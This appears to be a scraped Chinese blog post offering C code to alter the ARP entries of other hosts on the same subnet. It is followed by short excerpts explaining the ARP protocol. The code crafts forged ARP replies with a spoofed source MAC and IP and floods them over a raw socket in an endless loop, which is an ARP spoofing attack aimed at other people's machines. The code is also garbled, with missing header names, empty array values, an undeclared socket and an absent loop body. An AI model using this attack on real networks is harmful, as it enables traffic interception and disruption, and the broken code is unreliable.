ARP協議改mac位址

2021-10-01 20:24:31 字數 2059 閱讀 9672

##改變同一網段別人的mac位址

#include

#include

//socket

#include

//htons

#include

//eth_p_all

#include

//close

#include

#include

#include

//sockaddr_ll

#include

//struct ifreq

#include

//struct ether_header

#include

//struct arphdr

intmain

(int argc,

char

const

*ar**)

;unsigned

char src_mac[6]

=;unsigned

char src_ip[4]

=;unsigned

char dst_ip[4]

=;unsigned

char msg[

1500]=

"";//組mac頭

struct ether_header *eth_hd =

(struct ether_header *

)msg;

//賦值目的mac

memcpy

(eth_hd->ether_dhost,dst_mac,6)

;//源mac

//memset(eth_hd->ether_shost,0,6);

memcpy

(eth_hd->ether_shost,src_mac,6)

;//協議型別

eth_hd->ether_type =

htons

(0x0806);

//組arp頭

struct arphdr *arp_hd =

(struct arphdr *

)(msg+14)

; arp_hd->ar_hrd =

htons(1

);//硬體型別

arp_hd->ar_pro =

htons

(0x0800);

//協議型別

arp_hd->ar_hln =6;

//硬體位址長度

arp_hd->ar_pln =4;

//協議位址長度

arp_hd->ar_op =

htons(2

);//應答

memcpy

(arp_hd->__ar_sha,src_mac,6)

;//源mac

memcpy

(arp_hd->__ar_sip,src_ip,4)

;//源ip

memcpy

(arp_hd->__ar_tha,dst_mac,6)

;//目的mac

memcpy

(arp_hd->__ar_tip,dst_ip,4)

;//目的ip

int len =42;

//從原始套接字傳送資料

//獲取網路結構型別

struct ifreq ethreq;

strncpy

(ethreq.ifr_name,

"ens33"

,ifnamsiz)

;ioctl

(fd, siocgifindex,

ðreq)

;//指明出去的網路介面

struct sockaddr_ll sll;

bzero

(&sll,

sizeof

(sll));

sll.sll_ifindex = ethreq.ifr_ifindex;

while(1

)close

(fd)

;return0;

}

網路層 ARP 找Mac位址協議

arp協議 傳送乙個arp請求分組,得到目的網路對應的mac位址,再存到主機的arp快取記憶體中,以供使用。正常傳送資料的時候需要在鏈路層新增目的主機和源主機的mac位址,但是一般目的主機的mac位址不能輕易獲得,因此需要在主機的arp快取記憶體中尋找對應的mac位址,要是找不到,就立即傳送arp協...

ARP協議 位址解析協議

網路層使用的是ip位址,但實際網路的鏈路上傳送資料幀時,最終還是必須使用該網路的硬體位址。arp快取記憶體 ip位址到硬體位址的對映表 那麼一台主機 a 是如何獲知本區域網內其他主機或路由的硬體位址的?主機a廣播arp請求分組 我的ip是 硬體位址是 請告知我ip位址為 主機的硬體位址。本區域網內的...

位址解析協議 ARP

1.什麼是arp?英文原義 address resolution protocol 中文釋義 是乙個位於tcp ip協議棧中的低層協議,負責將某個ip位址解析成對應的mac位址。區域網中,網路中實際傳輸的是 幀 幀裡面是有目標主機的mac位址的。所謂 位址解析 就是主機在傳送幀前將目標ip位址轉換成...